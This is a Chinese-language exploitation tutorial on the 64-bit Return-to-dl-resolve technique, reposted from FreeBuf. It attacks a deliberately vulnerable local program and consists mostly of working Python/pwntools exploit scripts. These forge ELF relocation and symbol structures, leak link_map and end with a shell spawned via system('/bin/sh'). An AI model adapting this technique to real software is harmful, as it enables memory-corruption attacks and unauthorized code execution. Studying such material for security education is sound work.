安全圈 | 专注于最新网络信息安全讯息新闻

首页

freebuf互聯網安全新媒體平臺

作者 schoultz 时间 2020-03-04
all

前上一篇文章中,我們研究了在32比特環境下的Return-to-dl-resolve科技,這篇就來討論一下64比特環境下的Return-to-dl-resolve科技,有些地方存在較大差异,僅供參考。

Environment

[email protected]:~/Desktop# uname -a Linux kaliSevie 4.4.0-kali1-amd64 #1 SMP Debian 4.4.6-1kali1 (2016-03-18) x86_64 GNU/Linux [email protected]:~/Desktop# lsb_release -a No LSB modules are available. Distributor ID: Kali Description: Kali GNU/Linux Rolling Release: kali-rolling Codename: kali-rolling [email protected]:~/Desktop# gcc -v gcc version 6.3.0 20170321 (Debian 6.3.0-11)

易受攻擊的程式碼

/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; /* pop rdi; ret; pop rsi; ret; pop rdx; ret; */ char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3"; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }

編譯程式並且打開系統的ASLR:

ASLR [email protected]:~/Desktop# gcc -no-pie -fno-stack-protector bof.c -o bof [email protected]:~/Desktop# cat /proc/sys/kernel/randomize_va_space 2 [email protected]:~/Desktop# checksec bof [*] '/root/Desktop/bof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

Difference in x64

首先在x64下,函數的參數是通過寄存器傳遞的,而不是通過棧,所以在構造ROP時,要把參數放到對應寄存器中,看看read函數參數情况:

x64 ROP read RDX 0x8 *RDI 0x0 RSI 0x7fffffffe4cc ◂— 0x0 0x400563 <main+29> mov edx, 8 0x400568 <main+34> mov rsi, rax 0x40056b <main+37> mov edi, 0 ► 0x400570 <main+42> call [email protected] fd: 0x0 buf: 0x7fffffffe4cc ◂— 0x0 nbytes: 0x8

看到實際上是read(rdi,rsi,rdx),三個寄存器的值對應了三個參數。

read(rdi, rsi, rdx)

write函數參數情况:

write RDX 0xc8 *RDI 0x1 RSI 0x7fffffffe4d0 ◂— 0x4141414141414141 ('AAAAAAAA') 0x400592 <main+76> lea rax, [rbp - 0x70] 0x400596 <main+80> mov rsi, rax 0x400599 <main+83> mov edi, 1 ► 0x40059e <main+88> call [email protected] <0x400430> fd: 0x1 buf: 0x7fffffffe4d0 ◂— 0x4141414141414141 ('AAAAAAAA') n: 0xc8

所以在構造ROP鏈時與x86下有些不同。

ROP x86

return-to-dl-resolve

call [email protected]

首先還是先直接調用[email protected]試試,和上一篇基本相同,只是相對應改成64比特下的字長,代碼如下:

[email protected] import sys import struct from subprocess import Popen, PIPE def p64(x): return struct.pack("<Q", x) offset = 120 addr_write_plt = 0x0000000000400430 addr_read_plt = 0x0000000000400440 addr_bss = 0x0000000000601038 addr_relplt = 0x4003d0 addr_plt = 0x0000000000400420 addr_dynsym = 0x4002b8 addr_dynstr = 0x400330 addr_pop_rbp = 0x00000000004004b0 # pop rbp ; ret addr_pop_rdi = 0x0000000000400551 # pop rdi ; ret addr_pop_rdx = 0x0000000000400559 # pop rdx ; ret addr_pop_rsi = 0x0000000000400553 # pop rsi ; ret addr_leave_ret = 0x00000000004005a8 # leave ; ret stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = "A" * offset buf1 += p64(addr_pop_rdi) buf1 += p64(0) buf1 += p64(addr_pop_rsi) buf1 += p64(base_stage) buf1 += p64(addr_pop_rdx) buf1 += p64(200) buf1 += p64(addr_read_plt) buf1 += p64(addr_pop_rbp) buf1 += p64(base_stage) buf1 += p64(addr_leave_ret) p = Popen(['./bof'], stdin=PIPE, stdout=PIPE) p.stdin.write(p64(len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) cmd = "/bin/sh" buf2 = "A" * 8 buf2 += p64(addr_pop_rdi) buf2 += p64(1) buf2 += p64(addr_pop_rsi) buf2 += p64(base_stage + 80) buf2 += p64(addr_pop_rdx) buf2 += p64(len(cmd)) buf2 += p64(addr_write_plt) buf2 += "A" * (80 - len(buf2)) buf2 += cmd + "\x00" buf2 += "A" * (200 - len(buf2)) p.stdin.write(buf2) print "[+] read: %r" % p.stdout.read(100) # print p64(len(buf1)) + buf1 + buf2

運行結果:

[email protected]:~/Desktop# python bof.py [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\[email protected]\[email protected]\x00\x00\x00\x00\x00\xb0\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\[email protected]\x00\x00\x00\x00\x00' [+] read: '/bin/sh'

Relocation directly

在x64下,與_dl_runtime_resolve相關的兩個結構體定義有所不同:

x64 _dl_runtime_resolve typedef uint64_t Elf64_Xword; typedef int64_t Elf64_Sxword; typedef uint64_t Elf64_Addr; typedef uint32_t Elf64_Word; typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela; #define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff) typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ } Elf64_Sym;

以read函數為例,看看記憶體中數據是什麼。

read

通過檔案我們知道.rel.plt地址為0x4003d0,大小為48(bytes),每一項24(bytes),也就是兩項,read和write:

.rel.plt 0x4003d0 48 (bytes) 24 (bytes) read write [email protected]:~/Desktop# readelf -d bof | grep REL 0x0000000000000002 (PLTRELSZ) 48 (bytes) 0x0000000000000014 (PLTREL) RELA 0x0000000000000017 (JMPREL) 0x4003d0 0x0000000000000007 (RELA) 0x4003a0 0x0000000000000008 (RELASZ) 48 (bytes) 0x0000000000000009 (RELAENT) 24 (bytes)

gdb查看read的Elf64_Rela:

gdb read Elf64_Rela pwndbg> x/3gx 0x4003d0+24 0x4003e8: 0x0000000000601020 0x0000000200000007 0x4003f8: 0x0000000000000000 Elf64_Sym 24 (bytes) [email protected]:~/Desktop# readelf -d bof | grep SYM 0x0000000000000006 (SYMTAB) 0x4002b8 0x000000000000000b (SYMENT) 24 (bytes)

你一定是在開玩笑。

read Elf64_Sym SYMTAB[r_info >> 32]=SYMTAB[2] pwndbg> x/6wx 0x4002b8+48 0x4002e8: 0x0000000b 0x00000012 0x00000000 0x00000000 0x4002f8: 0x00000000 0x00000000

再通過STRTAB找到read字串:

STRTAB read [email protected]:~/Desktop# readelf -d bof | grep STR 0x0000000000000005 (STRTAB) 0x400330 0x000000000000000a (STRSZ) 67 (bytes) pwndbg> x/s 0x400330+0xb 0x40033b: "read" ... ... addr_reloc = base_stage + 64 reloc_offset = 0x0 cmd = "/bin/sh" buf2 = "A" * 8 buf2 += p64(addr_pop_rdi) buf2 += p64(1) buf2 += p64(addr_pop_rsi) buf2 += p64(base_stage + 80) buf2 += p64(addr_pop_rdx) buf2 += p64(len(cmd)) buf2 += p64(addr_plt) buf2 += p64(reloc_offset) buf2 += "A" * (80 - len(buf2)) buf2 += cmd + "\x00" buf2 += "A" * (200 - len(buf2)) p.stdin.write(buf2) print "[+] read: %r" % p.stdout.read(100)

運行:

[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\[email protected]\[email protected]\x00\x00\x00\x00\x00\xb0\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\[email protected]\x00\x00\x00\x00\x00' [+] read: '/bin/sh'

Make fake Elf64_Rela structure

64比特下,Elf64_Rel是通過下麵的管道找到的,所以選擇的地址也需要對齊:

Elf64_Rel Elf64_Rel *reloc = JMPREL + reloc_offset * 0x18

先填入原來結構體內的內容,修改後的程式碼:

... ... addr_reloc = base_stage + 120 #reloc_offset = 0x0 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_offset = addr_write_got r_info = 0x0000000100000007 r_addend = 0 cmd = "/bin/sh" buf2 = "A" * 8 buf2 += p64(addr_pop_rdi) buf2 += p64(1) buf2 += p64(addr_pop_rsi) buf2 += p64(base_stage + 80) buf2 += p64(addr_pop_rdx) buf2 += p64(len(cmd)) buf2 += p64(addr_plt) buf2 += p64(reloc_offset) buf2 += "A" * (80 - len(buf2)) buf2 += cmd + "\x00" buf2 += "A" * (120 - len(buf2)) buf2 += p64(r_offset) buf2 += p64(r_info) buf2 += p64(r_addend) buf2 += "A" * (200 - len(buf2)) p.stdin.write(buf2) print "[+] read: %r" % p.stdout.read(100)

結果:

[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\[email protected]\[email protected]\x00\x00\x00\x00\x00\xb0\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\[email protected]\x00\x00\x00\x00\x00' [+] read: '/bin/sh'

Make fake Elf64_Sym structure

由以下公式找到write的結構體:

write Elf64_Sym *sym = &SYMTAB[((reloc->r_info)>>0x20)] => sym = &SYMTAB[0x0000000100000007>>0x20] = &SYMTAB[1] = 0x4002b8 + 24

記憶體查看:

pwndbg> x/6wx 0x4002b8+24 0x4002d0: 0x00000022 0x00000012 0x00000000 0x00000000 0x4002e0: 0x00000000 0x00000000 pwndbg> x/s 0x400330+0x22 0x400352: "write" ... ... addr_reloc = base_stage + 120 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_offset = addr_write_got r_addend = 0 addr_sym = addr_reloc + 24 padding_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += padding_dynsym st_name = 0x00000022 r_info = (((addr_sym - addr_dynsym) / 0x18) << 0x20) | 0x7 #r_info = 0x0000000100000007 cmd = "/bin/sh" addr_cmd = base_stage + 180 buf2 = "A" * 8 buf2 += p64(addr_pop_rdi) buf2 += p64(1) buf2 += p64(addr_pop_rsi) buf2 += p64(addr_cmd) buf2 += p64(addr_pop_rdx) buf2 += p64(len(cmd)) buf2 += p64(addr_plt) buf2 += p64(reloc_offset) buf2 += "A" * (120 - len(buf2)) buf2 += p64(r_offset) # Elf64_Rela buf2 += p64(r_info) buf2 += p64(r_addend) buf2 += "A" * padding_dynsym buf2 += p32(st_name) # Elf64_Sym buf2 += p32(0x00000012) buf2 += p64(0) buf2 += p64(0) buf2 += "A" * (180 - len(buf2)) buf2 += cmd + "\x00" buf2 += "A" * (200 - len(buf2)) p.stdin.write(buf2) print "[+] read: %r" % p.stdout.read(100)

發現並不能成功,我們可以把要輸入的字串放在一個檔案中然後用gdb調試程式:

gdb [email protected]:~/Desktop# python bof.py > input [email protected]:~/Desktop# gdb pwndbg> file bof Reading symbols from bof...(no debugging symbols found)...done. pwndbg> b main Breakpoint 1 at 0x40054a pwndbg> r < input ROP _dl_fixup Segmentation fault RAX: 0x400374 --> 0x2000200020000 RCX: 0x1564100000007 RDX: 0x15641 0x7ffff7de7c31 <_dl_fixup+113>: mov rax,QWORD PTR [rax+0x8] => 0x7ffff7de7c35 <_dl_fixup+117>: movzx eax,WORD PTR [rax+rdx*2] 0x7ffff7de7c39 <_dl_fixup+121>: and eax,0x7fff ... pwndbg> x/x $rax+$rdx*2 0x42aff6: Cannot access memory at address 0x42aff6

這裡RCX就是偽造的r_info值,而RCX值過大,導致無法讀取記憶體,引發了錯誤,我們往前看程式碼:

RCX r_info RCX 0x00007ffff7de7c21 <+97>: mov rax,QWORD PTR [r10+0x1c8] 0x00007ffff7de7c28 <+104>: test rax,rax 0x00007ffff7de7c2b <+107>: je 0x7ffff7de7ce0 <_dl_fixup+288> 0x00007ffff7de7c31 <+113>: mov rax,QWORD PTR [rax+0x8] => 0x00007ffff7de7c35 <+117>: movzx eax,WORD PTR [rax+rdx*2]

對應的C程式碼:

C const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) // [r10+0x1c8] != 0 { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }

發現有個je可以跳過這一段程式碼,只要[r10+0x1c8]處的值為0就可以跳過,再往前看,發現只有函數開頭mov r10,rdi改變了r10的值,然後都不會改變,r10的值是個特殊的值:

je [r10+0x1c8] mov r10,rdi r10 r10 pwndbg> x/2gx 0x601000 0x601000: 0x0000000000600e20 0x00007ffff7ffe170 pwndbg> p $r10 $1 = 0x7ffff7ffe170 0x601000 GOT link_map link_map+0x1c8 ASLR link_map

Get shell

洩露link_map地址的方法就是在最前面先調用addr_write_plt,把link_map的地址打出來,由於我這裡用之前的方法收到shell時發現命令能够執行但是輸入字元不顯示:

link_map addr_write_plt link_map shell [email protected]:~/Desktop# python bof.py [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\[email protected]\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\[email protected]\x00\x00\x00\x00\x00Q\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\[email protected]\[email protected]\x00\x00\x00\x00\x00\xb0\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\[email protected]\x00\x00\x00\x00\x00' [+] addr_link_map = 0x7f178d3d0170 # uid=0(root) gid=0(root) groups=0(root)

這裡用pwntools改寫一下,完整程式:

pwntools import sys import struct from subprocess import Popen, PIPE from pwn import * offset = 120 addr_write_plt = 0x0000000000400430 addr_read_plt = 0x0000000000400440 addr_bss = 0x0000000000601038 addr_relplt = 0x4003d0 addr_plt = 0x0000000000400420 addr_got = 0x0000000000601000 addr_dynsym = 0x4002b8 addr_dynstr = 0x400330 addr_write_got = 0x0000000000601018 addr_read_got = 0x0000000000601020 addr_pop_rbp = 0x00000000004004b0 # pop rbp ; ret addr_pop_rdi = 0x0000000000400551 # pop rdi ; ret addr_pop_rdx = 0x0000000000400559 # pop rdx ; ret addr_pop_rsi = 0x0000000000400553 # pop rsi ; ret addr_leave_ret = 0x00000000004005a8 # leave ; ret stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = "A" * offset buf1 += p64(addr_pop_rdi) buf1 += p64(1) buf1 += p64(addr_pop_rsi) buf1 += p64(addr_got + 8) buf1 += p64(addr_pop_rdx) buf1 += p64(8) buf1 += p64(addr_write_plt) buf1 += p64(addr_pop_rdi) buf1 += p64(0) buf1 += p64(addr_pop_rsi) buf1 += p64(base_stage) buf1 += p64(addr_pop_rdx) buf1 += p64(200) buf1 += p64(addr_read_plt) buf1 += p64(addr_pop_rbp) buf1 += p64(base_stage) buf1 += p64(addr_leave_ret) p = process("./bof") p.send(p64(len(buf1))) p.send(buf1) print "[+] read: %r" % p.recv(len(buf1)) addr_link_map = u64(p.recv(8)) print "[+] addr_link_map = %s" % hex(addr_link_map) addr_reloc = base_stage + 120 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_offset = addr_write_got r_addend = 0 addr_sym = addr_reloc + 24 padding_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += padding_dynsym addr_symstr = addr_sym + 24 r_info = (((addr_sym - addr_dynsym) / 0x18) << 0x20) | 0x7 cmd = "/bin/sh" addr_cmd = addr_symstr + 7 st_name = addr_symstr - addr_dynstr buf2 = "A" * 8 buf2 += p64(addr_pop_rdi) buf2 += p64(0) buf2 += p64(addr_pop_rsi) buf2 += p64(addr_link_map + 0x1c8) buf2 += p64(addr_pop_rdx) buf2 += p64(8) buf2 += p64(addr_read_plt) buf2 += p64(addr_pop_rdi) # system args buf2 += p64(addr_cmd) buf2 += p64(addr_plt) buf2 += p64(reloc_offset) buf2 += "A" * (120 - len(buf2)) buf2 += p64(r_offset) # Elf64_Rela buf2 += p64(r_info) buf2 += p64(r_addend) buf2 += "A" * padding_dynsym buf2 += p32(st_name) # Elf64_Sym buf2 += p32(0x00000012) buf2 += p64(0) buf2 += p64(0) buf2 += "system\x00" buf2 += cmd + "\x00" buf2 += "A" * (200 - len(buf2)) p.send(buf2) p.send(p64(0)) p.interactive()

運行:

[email protected]:~/Desktop# python bof.py [+] Starting local process './bof': pid 17083 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\[email protected]\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\[email protected]\x00\x00\x00\x00\x00Q\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\[email protected]\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\[email protected]\[email protected]\x00\x00\x00\x00\x00\xb0\[email protected]\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\[email protected]\x00\x00\x00\x00\x00' [+] addr_link_map = 0x7ff780d15170 [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root)

總結

Return-to-dl-resolve是一種十分實用的科技,在沒有libc庫的情况下也能够取得函數地址,最終調用庫函數。

refer: x64でROP stager + Return-to-dl-resolveによるASLR+DEP回避をやってみる

*本文作者:pwdme,轉載請注明來自FreeBuf.COM